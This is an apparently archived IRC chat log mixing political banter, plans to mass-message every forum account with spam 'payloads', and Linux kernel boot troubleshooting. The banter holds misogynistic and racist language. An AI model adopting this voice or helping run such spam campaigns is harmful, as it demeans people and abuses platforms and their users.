stupid and laughing impending beheading in the face, just as long as it's NOT "talk to a lot of people". 1895912;1550101735;mircea_popescu;http://btcbase.org/log/2018-08-28#1845274 before that 1895913;1550101735;a111;Logged on 2018-08-28 22:27 mircea_popescu: and i do mean ~every single last one~. i talk to every single chick on fetlife, meaning EVERY SINGLE ONE. that's the job of existence. nothing else passes muster. 1895914;1550101748;mircea_popescu;and so on, going back a while. 1895915;1550101755;asciilifeform;mircea_popescu: i get this part. the q is , where is the equiv of fetlife that is to get this treatment. 1895916;1550101813;mircea_popescu;http://btcbase.org/log/2014-11-03#908165 was re hosting. wtf am i going to build, a list of conservative forums EACH SINGKLE REGISTERED ACCT ON WHICH MUST BE MESSAGED ? 1895917;1550101813;a111;Logged on 2014-11-03 20:19 mircea_popescu: also, anyone own aged/trusted accounts on BlackHatWorld TrafficPlanet WarriorForum DigitalPoint SitePoint they might wish to sell or share ? 1895918;1550101822;mircea_popescu;why, because then you'll do what you didn't do last i build you the list ? 1895919;1550101839;mircea_popescu;every. EVERY. EACH AND EVERY SINGLE ACCOUNT ANYWHERE jesus f christ. 1895920;1550101859;mircea_popescu;not the dorks "in charge". the userbase. target the userbases of everyone. 1895921;1550101892;mircea_popescu;http://btcbase.org/log/2019-02-13#1895819 << much better strategy, as it turns out. 1895922;1550101892;a111;Logged on 2019-02-13 20:43 BingoBoingo: While Snowden was defecting to no where in particular, it turns out other people were defecting to somewhere 1895923;1550101909;asciilifeform;BingoBoingo seems like the designated victims already in the logs. plox to produce payload for spamtron and post for nitpick. 1895924;1550101921;mircea_popescu;this defecting "to the civil society" or w/e snowden tried blew up spectacularly, when it comes right down to it there's no civil society left in the socialist gulags. 1895925;1550102018;asciilifeform;mircea_popescu: i suspect ~100% of'em would defect if anyone gave enuff of a shit to offer. 1895926;1550102035;mircea_popescu;speaking of http://btcbase.org/log/2019-02-13#1895820 there's of course the http://trilema.com/2018/the-leak/#selection-361.64-365.46 lulz. 1895927;1550102035;a111;Logged on 2019-02-13 20:49 asciilifeform: 'the Cyber Conspirators created a Facebook account that purported to belong to a USIC employee and former colleague of Witt, and which utilized legitimate information and photos from the USIC employee’s actual Facebook account. This particular fake account caused several of Witt’s former colleagues to accept “friend” requests' << lol! defectors aint what they usedto be... 1895928;1550102042;mircea_popescu;asciilifeform aha. 1895929;1550102053;mircea_popescu;and the bar for enough is dropping each day. 1895930;1550102135;mircea_popescu;in any case -- i claim dibs for trilema re leadership in this whole "defection" business. WAY before femstate media reported on such a thing, it was on trilema. 1895931;1550102160;mircea_popescu;as these things usually go ; i shall limit self to pointing out that time the ny times copied my paywall model. 1895932;1550102169;asciilifeform;the particular meatbag ? or general case 1895933;1550102197;asciilifeform;( general case not new, e.g. martin & mitchell in 1960 to su ) 1895934;1550102209;mircea_popescu;http://btcbase.org/log/2019-02-13#1895827 << win. 1895935;1550102209;a111;Logged on 2019-02-13 21:36 BingoBoingo: In other updates, selection working on Pizarro wordpress. Copy on the main page http://pizarroisp.net/#selection-65.0-119.32 contact page http://pizarroisp.net/contact/#selection-11.0-23.151 with ARM Server page added http://pizarroisp.net/arm-dedicated-servers/ 1895936;1550102255;mircea_popescu;asciilifeform specifically : a) female b) moving away from femstate to c) patriarchy [where to happily live in d) new status and e) social media announcement of this that f) really insanely bothers femstate remnants] 1895937;1550102264;mircea_popescu;a-c mandatory d-f optional elements. 1895938;1550102283;asciilifeform;traditionally 'defection' is about a crown official neh 1895939;1550102300;asciilifeform;when peasant packs bags, usually just 'emigration' 1895940;1550102340;mircea_popescu;this harsh reality whereby "nobody gives a shit about your '''career''' bs and she'd much rather http://btcbase.org/log/2019-01-18#1888192 1895941;1550102340;a111;Logged on 2019-01-18 16:52 mircea_popescu: what've "they" fucking accomplished yet, with their ever-so-clever scapegoating merry-go-round ? economy flats around the ugliest, shittiest town in all of europe, and 12yos who'd rather be raped & set on fire by pakis than talk to "her majesty"'s clerks ? 1895942;1550102369;mircea_popescu;this, this thing that is now a thing and will be much more of a thing, this thing was first announced, and first demonstrated on trilema. 1895943;1550102432;mircea_popescu;asciilifeform the relation between "official" and "defector" is in your head because as it happened to work in the soviet union, all jobs were state jobs. the new soviet pretends "private", and so you can have non-officials that are nevertheless defectors. 1895944;1550102444;mircea_popescu;head of nominally private raytheon nevertheless will defect to great acclaim. 1895945;1550102454;mircea_popescu;and so various execs in nominally "private" usg state entreprises. 1895946;1550102466;asciilifeform;i suppose if chairman of crapple or somesuch moves to huawei, that also 'defect'. but garden hr chix ? 1895947;1550102490;mircea_popescu;if the makers of the reich's airport security theatre crystal globes don't count as crown to ye... 1895948;1550102542;mircea_popescu;asciilifeform smiths plc != garden. 1895949;1550102558;asciilifeform;lol smiths !! 1895950;1550102563;mircea_popescu;"if you look closer, you will see them" 1895951;1550102564;*;asciilifeform had , briefly, dealings with sub 1895952;1550102565;asciilifeform;j 1895953;1550102618;asciilifeform;mega-supplier of golden toilet. same folx who e.g. conned the ministry of subway trains into buying $maxint 'detectors' ( that later all thrown out, ~homeopathic ) 1895954;1550102618;mircea_popescu;"creating the future" or whatever the fuck. it's 100% as much crown as ye olde Министерство монтажных и специальных строительных работ СССР. 1895955;1550102699;mircea_popescu;so, yes, i claim first mover, and for good (and well fucking documented) reasons. cuz it's what it is, what. 1895956;1550102720;asciilifeform;that wasn't my nitpick tho ( it's sure as fuck 'crown' ) but re ~who~ runs off. is it a 'defection' if lowly paper pusher , and not brass ? 1895957;1550102784;asciilifeform;( not to mention, there's ~0 seekrit about the tech, it's deadly snoar ) 1895958;1550103004;asciilifeform;to rewrite the eqn, how many nicoleci's would mircea_popescu have to lure off, to visibly dent the thing 1895959;1550103061;asciilifeform;( i suppose could empty it of chix, if there were 9000 mircea_popescu's , but there's exactly 1, at least in my light cone ) 1895960;1550103260;asciilifeform;on top of this, backbone of bureaucracy is reddit-fat / old bags, these are safe from mircea_popescuation as i understand 1895961;1550103420;asciilifeform;http://btcbase.org/log/2019-02-14#1895944 << this kinda thing afaik not happened yet. tho i expect it will . 1895962;1550103420;a111;Logged on 2019-02-14 00:00 mircea_popescu: head of nominally private raytheon nevertheless will defect to great acclaim. 1895963;1550103485;asciilifeform;in asciilifeform's extended meatwot, there was a greybeard d00d who agreed, in 1980s, to leave a u.s. semiconductor co and chair a jp one. (but was eventually lured back, quietly) 1895964;1550103540;asciilifeform;arguably intra-reich lateral move tho, jp is sad usg colony for many yrs nao. 1895965;1550103760;asciilifeform;strictly re chix -- in '90s chechen harems filled up with chix from ru, on exactly same scheme of http://btcbase.org/log/2019-02-13#1895936 . but 'social media'ism not invented yet then, so the publication crown afaik goes to mircea_popescu . 1895966;1550103760;a111;Logged on 2019-02-13 23:57 mircea_popescu: asciilifeform specifically : a) female b) moving away from femstate to c) patriarchy [where to happily live in d) new status and e) social media announcement of this that f) really insanely bothers femstate remnants] 1895967;1550104541;mircea_popescu;it's well dented lol. their whore hr was ~this girl. 1895968;1550104557;mircea_popescu;you really ~can't imagine~ how threadbare the reich insides are. 1895969;1550104591;mircea_popescu;you realise, currently the stopper on "legislating" is that the few available interns whose brains permit the activity simply can't copy/paste at a faster rate ? 1895970;1550104603;asciilifeform;mircea_popescu: didja ever find out whether that branch tentacle ended up closing shop on acct of the escape ? 1895971;1550104604;mircea_popescu;o shoot, i misspelled "whole". 1895972;1550104618;mircea_popescu;they never close shop, roflmao. wtf, not like they DO SOMETHING. 1895973;1550104653;asciilifeform;hrm so what's 'defection' actually ~do~ to them ? seems then that it's rather like firing pistol into slime mold 1895974;1550104682;mircea_popescu;what do you mean what's it ~do~ ? it's exactly like highschool sex, it doesn't ~do~ anything, except in the estimation of the boys who haven't yet. 1895975;1550104696;mircea_popescu;bragging rights, which is why the above claiming thereof. 1895976;1550104842;mircea_popescu;http://btcbase.org/log/2019-02-14#1895965 << hey, i'm not like claiming i invented odoacer over here, god forbid. all successful, growing republics of history got the same perks, cuz how and why wouldn't they. 1895977;1550104842;a111;Logged on 2019-02-14 00:22 asciilifeform: strictly re chix -- in '90s chechen harems filled up with chix from ru, on exactly same scheme of http://btcbase.org/log/2019-02-13#1895936 . but 'social media'ism not invented yet then, so the publication crown afaik goes to mircea_popescu . 1895978;1550105064;mircea_popescu;anyway, the hope's that this time the cool boys are less retarded than historical norms (eg, chechens). 1895979;1550105075;mircea_popescu;not much of a high bar. 1895980;1550105181;mircea_popescu;asciilifeform anyway, the fault for "there's exactly 1" lies not-with-me!!! i do not as much as keep it secret ; or not make a point of it ; or anything else. 1895981;1550105219;*;asciilifeform recalls the (perhaps) apotheosis of 'republic of ichkeria', when they held council to pick 'official language', and close runner-up to arabic (which ~nobody knew) was... osman turkish . which , presumably, no archaeologist could be found to excavate, and so the thread died. 1895982;1550105267;mircea_popescu;item was deeply lulzy from a lot of perspective ; but i will point out and udnerscore that no one was well equipped to appreciate that lulz prior to this here republic's senate discussions. 1895983;1550105290;mircea_popescu;take the recent "what should be language ?" "ada" "well... turns out it's broken!!!" proceedings ; THEN compare with the chechen history. 1895984;1550105294;mircea_popescu;instant comedy goldmine. 1895985;1550105387;asciilifeform;how folx react to 'hrm, this -- is broken' is possibly the ultimate exam. 1895986;1550105395;mircea_popescu;absolutely. 1895987;1550105404;mircea_popescu;first, last and only exam. 1895988;1550105423;asciilifeform;( see also the perpetuum mobile / square circles thrd ) 1895989;1550105474;mircea_popescu;aha! 1895990;1550105834;*;asciilifeform wouldn't be terribly surprised if one day mircea_popescu digs up the wreckage of an attempted 'trilema' that was run in e.g. classical greek , tho 1895991;1550105859;asciilifeform;not counting, err, the actual dead greeks' , that is 1895992;1550105860;mircea_popescu;i don't really expect it, because you need specific technologies to enable it. 1895993;1550105877;mircea_popescu;possibly on bbs ; though i think you beat me to punch, dug out naggum. 1895994;1550105888;mircea_popescu;also possibly on early web ; but similarly, dug out uncle al. 1895995;1550105894;asciilifeform;naggum burned out like cheap american match. 1895996;1550105907;mircea_popescu;this much is true, trilema beat the decade huh. 1895997;1550105910;asciilifeform;al had longer run, sank with the 'vhs civ' that birthed hivm 1895998;1550105919;asciilifeform;*him 1895999;1550105925;mircea_popescu;that he did. weird, huh. 1896000;1550105946;mircea_popescu;but yes, very "4th of july at our liquor store" air to him, 1980s "america" and all that. 1896001;1550105972;asciilifeform;well, he was what he referred to as 'organiker' , i.e. synthetic chemist in the germanic tradition. the industry evaporated from under him. 1896002;1550105998;asciilifeform;last i knew d00d wasn't dead yet, but tended his garden (actual garden, with cabbages) in silence. 1896003;1550106010;mircea_popescu;there's also some possible in erly irc finish punklands ; my fin-enabled green brasiers are scant, i'm not excavating it very quickly. 1896004;1550106046;*;asciilifeform strongly suspects there's a motherlode of naggumism of finns, that could be excavated if anyone were to liberate the 'dejanews' stash. 1896005;1550106065;mircea_popescu;(and native finish speaking sluts reading ? report to the whoremaster general.) 1896006;1550106095;*;asciilifeform will admit to having eaten some of the lang, but strictly for sport, and by no means could atm stand for duty as translator 1896007;1550106116;mircea_popescu;yeah ; i have no mind of ever mandating it. 1896008;1550106124;asciilifeform;sad ol' dead lang. 1896009;1550106136;mircea_popescu;hungarian (the only equally retarded non-language) is comparatively easy because w/e, half of cluj ever spoke it. but finish ? 1896010;1550106140;mircea_popescu;nobody even speaks the damned thing. 1896011;1550106161;asciilifeform;it's roughly like studying e.g. chechen. go an' pin down a live specimen. 1896012;1550106205;asciilifeform;the place, at one time it rocked tho 1896013;1550106224;mircea_popescu;definitely, 1990 internet is one third romanian, one third finish, and one third wool. 1896014;1550106225;*;BingoBoingo returns from walking the Inca to log 1896015;1550106226;*;asciilifeform recalls mother , coming back from trip to fi in late '80s, with roughly same reaction as asciilifeform after voyage to ro 1896016;1550106317;asciilifeform;mircea_popescu: i'd like to learn one day the seekrit of just how did the finns stuff selves up own arse in '90s 1896017;1550106342;mircea_popescu;me too. 1896018;1550106358;mircea_popescu;atm, no fucking clue. 1896019;1550106398;mircea_popescu;and it's not even "translator" that's needed. lingvistic-cultural expert, it's a high grade job. 1896020;1550106443;asciilifeform;iirc we even had an actual finn here, for maybe 1d. but then promptly sank back to the bottom of the sea . 1896021;1550106466;asciilifeform;!#seen kmalkki 1896022;1550106466;a111;2016-10-15 apu1 also really needs DBREQn asserted to give access to USEHDT IR/DR pair 1896023;1550106596;*;asciilifeform must agree with mircea_popescu , diggin' up dead cultures is job entirely unfit for 'amateurism', risks result similar to http://btcbase.org/log/2018-11-30#1876443 1896024;1550106596;a111;Logged on 2018-11-30 17:41 mircea_popescu: but yes, alladin carries a pretty fucking strong scent of "oh, hi, we're ohioan squarejaws wearing bedsheets. totally legit rome sir. rome, ohio." 1896025;1550106713;mircea_popescu;myeah. 1896026;1550106804;asciilifeform;the sorta thing that makes e.g. bolixologies, look quite trivial in comparison. ( sad old crate, fits on desk; but try and fit the finns ) 1896027;1550106826;mircea_popescu;right. moreover, bolix you know when you succeeded. 1896028;1550106846;asciilifeform;rright, like e.g. kurchatov knew. 1896029;1550106854;asciilifeform;'hey, it verily goeth bang' 1896030;1550106855;mircea_popescu;if you want to write program to read disk, you know when you managed ; if you want to write program to encrypt disk... 1896031;1550106862;BingoBoingo;asciilifeform: Will compile some more payloads. 1896032;1550106874;mircea_popescu;you ~maybe~ know when you failed. 1896033;1550106972;*;asciilifeform wonders if admiral yamamoto, as he hurriedly seppukued in his falling bomber, fulla holes from 'mustangs' that appeared out of nowhere in the middle of fuckingnoewhere pacific -- understood that his crypto had failed 1896034;1550107089;BingoBoingo;http://btcbase.org/log/2019-02-14#1895967 << Then there's the bonus collateral damage when you captured bimbo sends her girlfriends back home happy dispatches further underming morale in the reich. 1896035;1550107089;a111;Logged on 2019-02-14 00:35 mircea_popescu: it's well dented lol. their whore hr was ~this girl. 1896036;1550107109;mircea_popescu;hanbot wonders if ingenohl realised it. 1896037;1550107141;mircea_popescu;BingoBoingo amusingly, there was a spate of various chicks taking to their wings. 1896038;1550107156;mircea_popescu;girls are very contagiable. cuz herding instinct, see. 1896039;1550107170;asciilifeform;morale << recall butthurts over 'tokyo rose' ? 1896040;1550107215;mircea_popescu;those weren't actual escapees were they ? 1896041;1550107265;asciilifeform;iirc rose had a 2way ticket and took option of throwing out the return half. 1896042;1550107317;asciilifeform;ingenohl << funny how these people let themselves get fucked by shit crypto not 1ce, but 2ce. 1896043;1550107367;mircea_popescu;no no, i didn't mean re crypto. i meant, whether he realised he fucked up. 1896044;1550107374;BingoBoingo;http://btcbase.org/log/2019-02-13#1895898 << They dorks also imagine friendship with each other, but anytime their cheiftans manage to collaborate the alliances quickly fracture. So many alt-alts emerged out of not being united in opposition to Hussein Bahamas. 1896045;1550107374;a111;Logged on 2019-02-13 23:43 asciilifeform: mircea_popescu: these folx seem to have a psychiatrically-classical 'царь-батюшка' imaginary friendship w/ trump 1896046;1550107387;mircea_popescu;it's a convenient fiction trope, this, that a merciful god on the moment of closing accounts points out the hole. 1896047;1550107417;mircea_popescu;i suspect though that it's unlikely to really happen. yamamoto went down indignant like the anti-chucker "never ~really~ went down" etc. 1896048;1550107457;asciilifeform;dunno, d00d had perhaps the 1 working brain in the whole outfit. sorta why he was picked for the speshultreatment. 1896049;1550107472;mircea_popescu;elderly father who whole life hammered kid with better notions and interests to "you must be emperor of rome", if eventually presented on death bed with circumstantailly obtained, wholly worthless emperorship much likelier to declare "he was right all along" than to see "holy shit what an idiot i've been" 1896050;1550107492;mircea_popescu;asciilifeform i suppose ; but worst time of all for moments of clarity. 1896051;1550107510;mircea_popescu;"what goes through a fly's mind as it crashes on windshield ?" "its arse". 1896052;1550107513;asciilifeform;it obv makes no practical diff. 1896053;1550107534;asciilifeform;and not as if anyone was there to write down his 'fuck, really' 1896054;1550107548;mircea_popescu;social media is here to change all that. 1896055;1550107572;mircea_popescu;yet pantsuited hilarity STILL hasn't managed to find the twitter button, seems like. 1896056;1550107612;asciilifeform;'Пуля попала Штирлицу в голову. «Разрывная», — пораскинув мозгами, догадался Штирлиц.'(tm)(r) 1896057;1550107711;asciilifeform;( ~= 'a bullet hit stierlitz in his head. 'a dumdum', he deduced, scatter-brained.' ) 1896058;1550107766;mircea_popescu;http://btcbase.org/log/2019-02-13#1895836 << so on the basis of this better table neatly presenting data i'm concluding that a) serpent run indeed takes 2.8 us or so ; b) timing data converges within 1/3 s test runs or so ; c) these statements equal to foregoing earlier items which are thus retrospectively deemed correct and finally, and most importantly d) tentatively it seems sjlj adds no measurable time delay on running co 1896059;1550107766;a111;Logged on 2019-02-13 21:40 diana_coman: since it seems it'll take a while until I can add to my data the numbers for sjlj on ave1's gnat as well, here's what I have so far: http://p.bvulpes.com/pastes/1esL2/?raw=true 1896060;1550107766;mircea_popescu;de over zcx. 1896061;1550107808;mircea_popescu;in fact in some cases it could be the case IT IS ACTUALLY FASTER (to a very small degree) 1896062;1550107814;asciilifeform;mircea_popescu: if you give a damn re exception-propagation speed, prolly oughta measure that. otherwise seems like the docs didn't lie, it dun do anyffin to ordinary jump 1896063;1550107901;mircea_popescu;i'll still want her to fill in the rest of the table ; but tentatively yes. looks like i'll be withdrawing my objection to bvt 's original comments ( http://btcbase.org/log/2019-02-12#1895233 ) sometime tomorrow. in which case all the better, we just do that and good riddance. 1896064;1550107901;a111;Logged on 2019-02-12 13:14 mircea_popescu: wasn't the long jump thing slower ~generally~ ? 1896065;1550107969;mircea_popescu;should possibly also do the http://btcbase.org/log/2019-02-12#1895520 test tho (even though on a good compiler, there really shouldn't be much difference between a call and a loop) 1896066;1550107969;a111;Logged on 2019-02-12 18:59 mircea_popescu: basically idea is, a markov chain of callings. 1896067;1550107995;*;asciilifeform will re-play ffa benchmarks on the longjmp gnat, once the latter's built, but doesn't expect to find any measurable diff 1896068;1550108036;mircea_popescu;they'd last show there if anywhere 1896069;1550108039;asciilifeform;mircea_popescu: calls dump register snapshot liquishit on the stack, and inevitably ding the cache, whereas loops not 1896070;1550108045;asciilifeform;mircea_popescu: correct 1896071;1550108065;mircea_popescu;asciilifeform yes, but it's the job of "optimizing" compiler to keep all that to a low roar. 1896072;1550108090;asciilifeform;the compiler can slim it down to just the return addr, but the latter goes always 1896073;1550108096;mircea_popescu;i've been thinking about how to correctly construct a calling test for this purpose, but i confess nothing i have yet is passing muster. if anyone wants to step in. 1896074;1550108100;asciilifeform;( otherwise it aint a call, but a 1way ticket, i.e. jump ) 1896075;1550108125;asciilifeform;mircea_popescu: ffa built with inlining switched off is actually ok test for ~that~ imho 1896076;1550108139;asciilifeform;lots and lotsa calls in multiple layer of outer loop 1896077;1550108265;mircea_popescu;i'd like a purpose made item, fit in head as such, can keep for later. 1896078;1550108287;*;asciilifeform can see it 1896079;1550108339;mod6;http://p.bvulpes.com/pastes/BoTML/?raw=true << Ok, so after installing Cuntoo, I did what I said I'd do, which was test editing the append section and throwing a UUID in there instead of 'root=/dev/sda3'. It didn't work, I did get a kern dump. 1896080;1550108441;mod6;I think that I might be on the right track here though, and I did try a few other things after reading some documentation. For instance, after the above, I changed /etc/fstab to use only UUIDs instead of '/dev/sda{1,2,3}', and then tried that. Same problem essentialy. I also found about 'PARTUUID', which is supposed to help in certain circumstances. Nothing has worked yet... 1896081;1550108445;asciilifeform;mod6: does it boot if /dev/sdb3 ? 1896082;1550108454;mod6;No Sir. 1896083;1550108468;asciilifeform;same type of barf ? 1896084;1550108469;mod6;Then I got on the track that perhaps i do need to have an initramfs. 1896085;1550108471;mod6;Yes. 1896086;1550108496;mircea_popescu;mod6 is the disk hanging off internal port or usb port ? 1896087;1550108533;mircea_popescu;ie, sata or usb ? 1896088;1550108555;mod6;So I went to build one, but that was barfing on me. Which lead me to find this kernel option 'CONFIG_FIRMWARE_IN_KERNEL=y'. Which would help me complete the build of the initramfs. http://www.mod6.net/cuntoo-blog-1/genkern/genkern.jpg 1896089;1550108603;mod6;But I keep getting failures that say "Failed to compile the "all" target. No matter what I do it seems. 1896090;1550108613;mod6;mircea_popescu: It's SATA. 1896091;1550108636;mod6;my disk is a WD 250Gb SSD SATA 1896092;1550108692;mod6;So perhaps im kindof on the right track - use UUIDs where I can, and build an initramfs... however, haven't had a lot of success with building the initramfs yet. I may have to fight through that. But that's the latest update. 1896093;1550108795;mircea_popescu;from what i gather actually setting the correct path (ie, /sda3 or w/e it actually is) should really do it. i don't expect you can just unilaterally set uuids, gotta make them work from the other end too first. 1896094;1550108821;mod6;Oh, i totally felt the same way. 1896095;1550108848;mod6;The days leading up to the blog post, i used nothing but names: /dev/sda{1,2,3} and eschewed UUIDs totally. 1896096;1550108864;asciilifeform;mircea_popescu: it'll do it , supposing that kernel actually sees the disk ( whether it does, is not obv, observe that it dun come up in the kernel barfola ) 1896097;1550108872;mod6;But since that was an utter failure, I'm just trying something different because of /dev/disk/by-uuid/ or whatever it is. 1896098;1550108888;mircea_popescu;asciilifeform right. 1896099;1550108897;asciilifeform;mod6: seems like you may have build a kernel that dun see your sata chipset. 1896100;1550108914;asciilifeform;mod6: bring up a working barbarian linux on that box and lsmod -v 1896101;1550108915;mircea_popescu;asciilifeform it'd be a lot more possible if the same kernel on same machine didn't boot before. 1896102;1550108917;asciilifeform;see what it wants 1896103;1550108931;asciilifeform;waitasec is it actually test with old kernel ?? 1896104;1550108938;mircea_popescu;i thought so ? 1896105;1550108946;mod6;certainly possible. seems totally wacky to me that the same kernel config would boot gentoo perfectly, but not cuntoo. note in the wotpaste above that I copied in my /usr/src/linux/.config from gentoo directly and build that config. 1896106;1550108947;asciilifeform;observe that 'old config' != 'old kernel' if the src tree were swapped 1896107;1550108953;mircea_popescu;hm 1896108;1550109009;mod6;Right, well, cuntoo expands all of those things and build it, you just feed it a config. So if there is something that is "off" about my config with some other slightly different source version, then that might be a part of it. 1896109;1550109016;mircea_popescu;BingoBoingo "In light of the outlaw status being forced upon your organization, it is advisable to begin to operate accordingly." << too bulky contentless. that's supposed to be the closer neh. 1896110;1550109036;asciilifeform;mod6: if you were to take this exact thing, and stick it onto a usb , and then it boots when '/dev/sda3' -- then you will know that the above is it 1896111;1550109074;asciilifeform;( and you'll then need to find what yer sata is hanging off, and rebuild with it baked in ) 1896112;1550109088;mod6;Ok, so you're saying: Do all of the above steps, but instead of using a SATA SSD, inflate cuntoo onto a USB stick? 1896113;1550109099;asciilifeform;supposing, that is, you didn't also manage to produce a kernel that dun see yer usb chip 1896114;1550109157;BingoBoingo;mircea_popescu: ty, will try lightening up the payload copy for mass distribution 1896115;1550109159;mod6;I did look through the makemenuconfig, there are a lot of added in USB drivers. however, there was one option that I noticed that I should look hard at (all when trying to do the genkernel for different reasons), which is the Intel USB Drivers. 1896116;1550109179;mod6;So, if I take this route, I'll have to make sure those options are turned on for sure. 1896117;1550109208;asciilifeform;all i can see from the paste is that the thing dun see any disks at all. 1896118;1550109215;mod6;I know right! 1896119;1550109216;mod6;It's wild. 1896120;1550109224;mod6;Totally is blowing my hair back. 1896121;1550109236;asciilifeform;mod6: where didja get the kernel srcs for this build ? 1896122;1550109237;mircea_popescu;BingoBoingo gotta have a great hook. 1896123;1550109244;mod6;Which is why, in the first place, I thought I had a bad SSD. Which is why I ended up buying a second one just to be sure. 1896124;1550109266;mod6;asciilifeform: everything comes with trinque's cuntoo afaik 1896125;1550109296;mod6;His thing has the stage3 in there iirc. 1896126;1550109300;asciilifeform;it's entirely conceivable that his are moar recent than mod6's older, working tree, and breaks support for mod6's card 1896127;1550109329;mod6;Could be, a solid way to try to prove that is the USB Stick route. Because, I'm not super well versed in SATA kernel drivers. 1896128;1550109331;asciilifeform;( linux is notorious for 'oh hey we added a new required flag and ha even tho you set x, y, z, device d no longer gets its module because fuckyou ' ) 1896129;1550109349;mod6;yup, liqshit. 1896130;1550109390;mod6;it's like, fuck this, I want a "GIVE_ME_EVERYTHING_YOUVE_GOT_WHORE" flag that build every driver known. 1896131;1550109394;asciilifeform;for so long as we're under 'iron babel' and errybody has 9000 types of unique machine, we're stuck with this horror 1896132;1550109408;mircea_popescu;i guess. honestly, i'd expect to see logs reflecting failure to init sata if that were the case. 1896133;1550109411;asciilifeform;mod6: you get a 500MB kernel then, lol 1896134;1550109422;mod6;Shit, 500Mb no problem. 1896135;1550109433;mod6;at least I could figure out wtf and try to pair it down later. 1896136;1550109434;asciilifeform;mircea_popescu: failure to init caused by 'i have nfi what is this chip' is silent on linux. 1896137;1550109445;mod6;instead of 6900 reboots 1896138;1550109446;asciilifeform;~why~ is q to ask torvalds when you nail him to the cross, not me 1896139;1550109460;mircea_popescu;i thought some peripherals whined. 1896140;1550109464;asciilifeform;nope 1896141;1550109473;asciilifeform;only if 'vendor id' etc ~matched~ and still no dice when init. 1896142;1550109482;mircea_popescu;hm 1896143;1550109504;asciilifeform;this is how it behaved, from the 1st published kernel and to present day 1896144;1550109516;asciilifeform;silently ignores 'unknown' irons 1896145;1550109543;mircea_popescu;yes, but what i mean, if it manages to build with no sata/no ide it says ; similarily if no netcard ; and i dun recall what else. 1896146;1550109546;mircea_popescu;possibly nokbd ? 1896147;1550109556;asciilifeform;it dun give a damn 1896148;1550109571;asciilifeform;simply barfs like depicted in mod6's paste -- 'where the fuck is / ? halted' 1896149;1550109591;mircea_popescu;my vague memories not fresh enough to pursue this line. 1896150;1550109598;asciilifeform;mine unfortunately quite fresh. 1896151;1550109601;asciilifeform;bsd etc. behave similarly. 1896152;1550109621;asciilifeform;'unix philosophy'(tm)(r) !! 1896153;1550109629;mod6;The funny part is, it could jsut be this one really obnoxious setting that I'm missing; I feel like it was that way back when I did gentoo in '15. 1896154;1550109631;asciilifeform;fail silently and set house on fire. 1896155;1550109676;mircea_popescu;http://btcbase.org/log/2019-02-13#1895868 << we don't so much care, seeing how we don't intend to have exceptions but exceptionally. if the thing crashes ever, your problems will be in excess of 99, but none of them that "it took one half milisecond extra for burning relic to make it back to earth" 1896156;1550109676;a111;Logged on 2019-02-13 21:59 diana_coman: at least there are no more surprises of huge differences in timings; but I'd still test also with some exception handling since that's supposed to slow sjlj down 1896157;1550109692;mircea_popescu;mod6 it seems rather likely. 1896158;1550109700;mod6;*nod* it's something dumb as fuck 1896159;1550109700;asciilifeform;it comes, in this particular case, from the people who actually do http://btcbase.org/log/2019-02-14#1896130 -- e.g. shituntu -- whose boot log would be 9000km long if ~every~ device that was simply not found, produced an eggog 1896160;1550109700;a111;Logged on 2019-02-14 01:56 mod6: it's like, fuck this, I want a "GIVE_ME_EVERYTHING_YOUVE_GOT_WHORE" flag that build every driver known. 1896161;1550109703;mod6;i just have no idea what. 1896162;1550109714;mircea_popescu;asciilifeform not every device lol. 1896163;1550109726;asciilifeform;erry module that doesn't find its device, i meant 1896164;1550109739;mircea_popescu;a. hm. 1896165;1550109747;mircea_popescu;well it couldn't come from THEM, linux existed long before they. 1896166;1550109782;asciilifeform;was always built like this, tho. module that doesn't find its device, in some cases reports (e.g. in mod6's log, the raid) but usually says nuffin. 1896167;1550109814;mircea_popescu;right ; but i expect the sata is like the raid, not like the soundblaster. 1896168;1550109833;mircea_popescu;that's all really. 1896169;1550109868;mircea_popescu;ie, from a cursory look at his published logs, my impression was that the kernel has sata just fine, but the disk's not plugged in the config-set hole or somesuch. 1896170;1550109882;mircea_popescu;now, ianae, so. 1896171;1550109901;asciilifeform;here, have a line from a working box : [ 3.129745] sd 0:0:0:0: Attached scsi generic sg0 type 0 1896172;1550109906;asciilifeform;^ when finds a sata . 1896173;1550109918;asciilifeform;notice there aint one in his. 1896174;1550109959;mod6;fair enough 1896175;1550109967;mircea_popescu;asciilifeform i see 0.971934] SCSI subsystem initialized ? 1896176;1550109970;asciilifeform;all he's got, is a [ 0.971934] SCSI subsystem initialized , which happens when kernel brought up regardless of whether any module matches up to working disk hanger 1896177;1550109979;mircea_popescu;ah. well ok then. 1896178;1550110011;mircea_popescu;this is a good point ; basically i misread that line. 1896179;1550110012;mod6;So next mission is to use a clean USB drive, and inflate cuntoo onto that, and then try? 1896180;1550110029;mod6;See, I kinda thought the SCSI subsystem thing meant that SATA was ready. 1896181;1550110029;asciilifeform;mod6: quickest way to learn wtf, i suspect, is to dump the thing bitwise onto a usb, and boot that, then lsmod -v and diff with your known working set's lsmod -v output. 1896182;1550110061;asciilifeform;mod6: nope , that line gets printed if kernel compiled with scsi option set, regardless of whether any card. 1896183;1550110098;mod6;so, `dd` the entire cuntoo ssd disk onto a usb, then attempt to boot the USB, and then do the lsmod diff between the USB cuntoo and the SSD cuntoo? 1896184;1550110106;asciilifeform;correct 1896185;1550110112;mod6;alrighty then. 1896186;1550110140;asciilifeform;i expect you'll need a root=/dev/sda3 in the kernel cmdline and similar in fstab. 1896187;1550110156;mod6;Might take a bit, but I'll begin work on that tomorrow-ish. Should have something to look at hopefully by Friday evening-ish. I'll inflate an entirely fresh cuntoo. 1896188;1550110172;*;asciilifeform brb,meatsystems 1896189;1550110177;mod6;I want it ~clean~ and not munged up by whatever other attemps and genkernel fuckery. 1896190;1550110196;mod6;Ok, thank you gentlemen. I appreciate the insight & help. 1896191;1550110211;*;mod6 f00d 1896192;1550113210;trinque;http://btcbase.org/log/2019-02-14#1896084 << what is the reasoning behind this? 1896193;1550113210;a111;Logged on 2019-02-14 01:41 mod6: Then I got on the track that perhaps i do need to have an initramfs. 1896194;1550113238;trinque;there's all this metaphoric content without rooting to anything, which makes it hard to track where your head's at to have what with to help 1896195;1550113291;trinque;initramfs is used when the kernel can't mount the root fs without using a program to do something complicated first, i.e. loading firmware, unpacking a squashfs in an embedded device, etc 1896196;1550113315;trinque;the only reason initramfs is used on personal machines is that the users have been lost to sloth and "can't be expected" to build own kernel 1896197;1550113348;trinque;http://btcbase.org/log/2019-02-14#1896088 << this is precisely backwards; doing that is the right answer to ^ and ~obviates~ the need for an initramfs for the firmware purpose 1896198;1550113348;a111;Logged on 2019-02-14 01:42 mod6: So I went to build one, but that was barfing on me. Which lead me to find this 